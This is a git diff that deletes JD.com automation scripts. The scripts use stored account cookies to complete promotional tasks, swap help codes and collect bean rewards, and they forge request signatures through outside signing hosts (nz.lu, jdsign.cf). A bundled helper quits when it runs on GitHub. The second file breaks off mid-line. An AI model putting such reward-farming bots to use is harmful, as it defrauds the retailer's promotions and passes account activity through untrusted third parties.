- console.log(`无当前任务`) - } - } else { - console.log(data.message) - } - } else if (assignmentId === "2PbAu1BAT79RxrM5V7c2VAPUQDSd" || assignmentId === "3dw9N5yB18RaN9T1p5dKHLrWrsX" || assignmentId === "2gWnJADG8JXMpp1WXiNHgSy4xUSv" || assignmentId === "CtXTxzkh4ExFCrGf8si3ePxGnPy" || assignmentId === "2wPBGptSUXNs3fxqgAtrV5MwkYEa" || assignmentId === "u4eyHS91t3fV6HRyBCg9k5NTUid" || assignmentId === "4WHSXEqKZeGQZeP9SvqxePQpBkpS" || assignmentId === "4PCdWdiKNwRw1PmLaFzJmTqRBq4v" || assignmentId === "4JcMwRmGJUXptBYzAfUDkKTtgeUs" || assignmentId === "4ZmB6jqmJjRWPWxjuq22Uf17CuUQ" || assignmentId === "QGPPJyQPhSBJ57QcU8PdMwWwwCR" || assignmentId === "tBLY4YL4LkBwWj9KKq9BevHHvcP" || assignmentId === "4UFHr2rSLyS912riDWih6B8gMXkf") { - if (assignmentId !== "2PbAu1BAT79RxrM5V7c2VAPUQDSd") console.log(`去做【${data.data[0].title}】`) - if (data.code === "0" && data.data) { - if (data.data[0]) { - if (data.data[0].status !== "2") { - await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) - await $.wait((data.data[0].waitDuration * 1000) || 2000) - } else { - console.log(assignmentId === "2PbAu1BAT79RxrM5V7c2VAPUQDSd" ? `今日已签到` : `任务已完成`) - } - } else { - console.log(`无当前任务`) - } - } else { - console.log(data.message) - } - } else if (assignmentId === "485y3NEBCKGJg6L4brNg6PHhuM9d" || assignmentId === "2bpKT3LMaEjaGyVQRr2dR8zzc9UU") { - if (data.code === "0" && data.data) { - if (data.data[0].status !== "2") { - await sign_interactive_done(type, data.data[0].projectId, data.data[0].assignmentId) - await $.wait((data.data[0].waitDuration * 1000) || 2000) - await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) - } else { - console.log(`任务已完成`) - } - } else { - console.log(data.message) - } - } else if (assignmentId === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y") { - if (data.code === "0" && data.data) { - console.log(`去做【${data.data[0].title}】`) - if (data.data[0].status !== "2") { - await interactive_accept(type, data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) - await $.wait((data.data[0].waitDuration * 1000) || 2000) - await qryViewkitCallbackResult(data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) - } else { - console.log(`任务已完成`) - } - } else { - console.log(data.message) - } - } else if (assignmentId === $.taskCode) { - if (helpType === '1') { - if (data.code === "0" && data.data) { - if (data.data[0].status !== "2") { - console.log(`【京东账号${$.index}(${$.UserName})的内容鉴赏官好友互助码】${data.data[0].itemId}`) - $.shareCodes.push({ - 'use': $.UserName, - 'code': data.data[0].itemId - }) - } - } else { - console.log(data.message) - } - } else if (helpType === '2') { - if (data.code === "0" && data.data) { - if (data.data[0].code === "0") { - await interactive_done(type, $.projectCode, $.taskCode, itemId) - } else if (data.data[0].code === "103") { - $.canHelp = false - console.log(`助力失败:无助力次数`) - } else if (data.data[0].code === "102") { - console.log(`助力失败:${data.data[0].msg}`) - } else if (data.data[0].code === "106") { - $.delcode = true - console.log(`助力失败:您的好友已完成任务`) - } else { - console.log(JSON.stringify(data)) - } - } else { - console.log(data.message) - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function interactive_done(type, projectId, assignmentId, itemId, actionType = '') { - let body = {"projectId":projectId,"assignmentId":assignmentId,"itemId":itemId,"type":type} - if (type === "5" || type === "2") body['agid'] = agid - if (type === "10" || type === "11") delete body["itemId"], body["actionType"] = actionType, body["contentId"] = itemId - return new Promise(resolve => { - $.post(taskUrl('interactive_done', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} interactive_done API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - if (type === "2") { - if (data.code === "0" && data.busiCode === "0") { - console.log(data.data.msg) - if (!data.data.success) $.canHelp = false - } else { - console.log(data.message) - } - } else { - if (data.code === "0" && data.busiCode === "0") { - if (type !== "10" && type !== "11") console.log(data.data.rewardMsg) - } else { - console.log(data.message) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function sign_interactive_done(type, projectId, assignmentId) { - let functionId = 'interactive_done' - let body = {"assignmentId":assignmentId,"type":type,"projectId":projectId} - let sign = await getSign(functionId, body) - return new Promise(resolve => { - $.post(taskPostUrl(functionId, sign), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} sign_interactive_done API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function interactive_reward(type, projectId, assignmentId) { - return new Promise(resolve => { - $.post(taskUrl('interactive_reward', {"projectId":projectId,"assignmentId":assignmentId,"type":type}), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} interactive_reward API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - if (data.code === "0" && data.busiCode === "0") { - console.log(data.data.rewardMsg) - } else { - console.log(data.message) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function interactive_accept(type, projectId, assignmentId, itemId) { - return new Promise(resolve => { - $.post(taskUrl('interactive_accept', {"projectId":projectId,"assignmentId":assignmentId,"type":type,"itemId":itemId}), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} interactive_accept API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function qryViewkitCallbackResult(encryptProjectId, encryptAssignmentId, itemId) { - let functionId = 'qryViewkitCallbackResult' - let body = {"dataSource":"babelInteractive","method":"customDoInteractiveAssignmentForBabel","reqParams":`{\"itemId\":\"${itemId}\",\"encryptProjectId\":\"${encryptProjectId}\",\"encryptAssignmentId\":\"${encryptAssignmentId}\"}`} - let sign = await getSign(functionId, body) - return new Promise(resolve => { - $.post(taskPostUrl(functionId, sign), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} qryViewkitCallbackResult API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - if (data.code === "0" || data.msg === "query success!") { - console.log(`恭喜获得2个京豆`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function getshareCode() { - let sid = randomString(40) - let body = JSON.stringify({"activityId":encodeActivityId,"pageNum":"-1","innerAnchor":"","innerExtId":"","hideTopFoot":"","innerLinkBase64":"","innerIndex":"0","focus":"","forceTop":"","addressId":"4091160336","posLng":"","posLat":"","homeLng":"","homeLat":"","gps_area":"","headId":"","headArea":"","warehouseId":"","dcId":"","babelChannel":"ttt1","mitemAddrId":"","geo":{"lng":"","lat":""},"flt":"","jda":"168871293.1632069151379637759921.1632069151.1634449233.1634455108.187","topNavStyle":"","url":`https://prodev.m.jd.com/mall/active/${encodeActivityId}/index.html?babelChannel=ttt1&tttparams=s1AJNojeyJsbmciOiIxMTcuMDA2NTYzIiwiZ0xhdCI6IjQwLjE4OTkzIiwibGF0IjoiNDAuMTgxOTM0IiwiZ0xuZyI6IjExNy4wMTAwNzEiLCJncHNfYXJlYSI6IjFfMjk1M181NDA0NF8wIiwidW5fYXJlYSI6IjFfMjk1M181NDA0NF8wIn70%3D&lng=&lat=&sid=${sid}&un_area=`,"fullUrl":`https://prodev.m.jd.com/mall/active/${encodeActivityId}/index.html?babelChannel=ttt1&tttparams=s1AJNojeyJsbmciOiIxMTcuMDA2NTYzIiwiZ0xhdCI6IjQwLjE4OTkzIiwibGF0IjoiNDAuMTgxOTM0IiwiZ0xuZyI6IjExNy4wMTAwNzEiLCJncHNfYXJlYSI6IjFfMjk1M181NDA0NF8wIiwidW5fYXJlYSI6IjFfMjk1M181NDA0NF8wIn70%3D&lng=&lat=&sid=${sid}&un_area=`,"autoSkipEmptyPage":false,"paginationParam":"2","paginationFlrs":paginationFlrs,"transParam":`{\"bsessionId\":\"\",\"babelChannel\":\"ttt1\",\"actId\":\"${activityId}\",\"enActId\":\"${encodeActivityId}\",\"pageId\":\"${pageId}\",\"encryptCouponFlag\":\"1\",\"sc\":\"apple\",\"scv\":\"10.1.6\",\"requestChannel\":\"h5\",\"jdAtHomePage\":\"0\"}`,"siteClient":"apple","siteClientVersion":"10.1.6","matProExt":{"unpl":"V2_ZzNtbUEAR0B1CUBWeRkLVWIGF1pKX0IXIVpOUi8eWFJkBxpbclRCFnUURlVnGVgUZwMZWEtcRxBFCEZkexhdBmIKFFxGXnMlfQAoVDYZMgYJAF8QD2dAFUUJdlR8G1wBZwAXXENRRhFxCU9QextZBWQzIl1EZ3MldDhHZHopF2tmThJaQFdHFXYNR1V9HFgBZgoWXUBSQxZFCXZX|V2_ZzNtbRYEREB1X0VTfU5fAGIHEwhLUUZCfVgVAX0aCVJlVhUPclRCFnUURlVnGV0UZwYZXkVcRxdFCEJkexhdBW8KF1xGVnMlfGZFV38dXwFiBREzQlZCe0ULRmR6KVUBYgoSXEUHShJ2X0YDLx8PADQKFwhAB0MSIg4RAy5LCwBhARpcFwNzJXwJdlJ5EV0DYAEiCBwIFVAlUB0MK0YKWD8DIlxyVnMURV4oVHoYXQVmAxRcRBpKEXABRlV8SVUCZFQSChZREBAmAUMBeUlcAjAFRQoXBRQQcwpOVS5NbARXAw%3d%3d"},"userInterest":{"whiteNote":"0_0_0","payment":"0_0_0","plusNew":"0_0_0","plusRenew":"0_0_0"}}) - let options = { - url: `${JD_API_HOST}?client=wh5&clientVersion=1.0.0&functionId=qryH5BabelFloors`, - body: `body=${encodeURIComponent(body)}&screen=1242*2208&sid=${sid}&uuid=${randomString(40)}&area=&osVersion=15.0.1&d_model=iphone11,2`, - headers: { - "Host": "api.m.jd.com", - "Accept": "*/*", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://prodev.m.jd.com", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://prodev.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie - } - } - return new Promise(async resolve => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getshareCode API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - for (let key of Object.keys(data.floorList)) { - let vo = data.floorList[key] - if (vo.boardParams && (vo.boardParams.taskCode === "2gWnJADG8JXMpp1WXiNHgSy4xUSv" || vo.boardParams.taskCode === "2wPBGptSUXNs3fxqgAtrV5MwkYEa" || vo.boardParams.taskCode === "u4eyHS91t3fV6HRyBCg9k5NTUid" || vo.boardParams.taskCode === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y" || vo.boardParams.taskCode === "4WHSXEqKZeGQZeP9SvqxePQpBkpS" || vo.boardParams.taskCode === "4PCdWdiKNwRw1PmLaFzJmTqRBq4v" || vo.boardParams.taskCode === "4JcMwRmGJUXptBYzAfUDkKTtgeUs" || vo.boardParams.taskCode === "4ZmB6jqmJjRWPWxjuq22Uf17CuUQ" || vo.boardParams.taskCode === "QGPPJyQPhSBJ57QcU8PdMwWwwCR" || vo.boardParams.taskCode === "tBLY4YL4LkBwWj9KKq9BevHHvcP" || vo.boardParams.taskCode === "4UFHr2rSLyS912riDWih6B8gMXkf" || vo.boardParams.taskCode === "3dw9N5yB18RaN9T1p5dKHLrWrsX")) { - await getTaskInfo("1", vo.boardParams.projectCode, vo.boardParams.taskCode) - await $.wait(2000) - } else if (vo.boardParams && vo.boardParams.taskCode === "3PX8SPeYoQMgo1aJBZYVkeC7QzD3") { - $.projectCode = vo.boardParams.projectCode - $.taskCode = vo.boardParams.taskCode - } - } - // await getTaskInfo("2", $.projectCode, $.taskCode) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function aha_card_list(type, projectId, assignmentId) { - return new Promise(resolve => { - $.post(taskUrl('browse_aha_task/aha_card_list', {"type":type,"projectId":projectId,"assignmentId":assignmentId,"agid":agid,"firstStart":1}), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} aha_card_list API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -function taskUrl(functionId, body) { - if (functionId === "interactive_info") { - body = `[${encodeURIComponent(JSON.stringify(body))}]` - } else { - body = encodeURIComponent(JSON.stringify(body)) - } - let function_Id; - if (functionId.indexOf("/") > -1) { - function_Id = functionId.split("/")[1] - } else { - function_Id = functionId - } - return { - url: `${JD_API_HOST}${functionId}?functionId=${function_Id}&appid=contenth5_common&body=${body}&client=wh5`, - headers: { - "Host": "api.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://prodev.m.jd.com", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://prodev.m.jd.com/", - "Cookie": cookie - } - } -} -function taskPostUrl(functionId, body) { - return { - url: `${JD_API_HOST}client.action?functionId=${functionId}`, - body, - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "j-e-c": "", - "Accept": "*/*", - "j-e-h": "", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-Hans-CN;q=1", - "User-Agent": "JD4iPhone/167841 (iPhone; iOS; Scale/3.00)", - "Referer": "", - "Cookie": cookie - } - } -} -function getSign(functionId, body) { - return new Promise(async resolve => { - let data = { - functionId, - body: JSON.stringify(body), - "client":"apple", - "clientVersion":"10.3.0" - } - let Host = "" - let HostArr = ['jdsign.cf', 'signer.nz.lu'] - if (process.env.SIGN_URL) { - Host = process.env.SIGN_URL - } else { - Host = HostArr[Math.floor((Math.random() * HostArr.length))] - } - let options = { - url: `https://cdn.nz.lu/ddo`, - body: JSON.stringify(data), - headers: { - Host, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }, - timeout: 30 * 1000 - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSign API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_daily_lottery.js b/jd_daily_lottery.js deleted file mode 100644 index 1d1592e1e..000000000 --- a/jd_daily_lottery.js +++ /dev/null @@ -1,334 +0,0 @@ -/* -小哥互动 - 每日抽奖 -活动入口:活动入口:惊喜-》我的-》寄件服务-》寻味四季-》右侧瓜分千万京豆 -13 1,9,18 * * * jd_daily_lottery.js -*/ - -const $ = new Env('京东快递-每日抽奖'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const activityCode = '1545335372043517952'; -$.helpCodeList = []; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = $.UserName; - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - await dailyLottery() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function dailyLottery() { - $.lotteryInfo = {}; - $.missionList = []; - await Promise.all([getLotteryInfo(), getQueryMissionList()]); - console.log(`初始化`); - if ($.lotteryInfo.success !== true) { - console.log(`${$.UserName}数据异常,执行失败`); - return; - } - if ($.missionList.length === 0) { - console.log(`${$.UserName}获取任务列表失败`); - return; - } - $.runTime = 0; - do { - $.runFlag = false; - await doMission();//做任务 - await Promise.all([getLotteryInfo(), getQueryMissionList()]); - await $.wait(1000); - await collectionTimes();//领任务奖励 - await Promise.all([getLotteryInfo(), getQueryMissionList()]); - await $.wait(1000); - $.runTime++; - } while ($.runFlag && $.runTime < 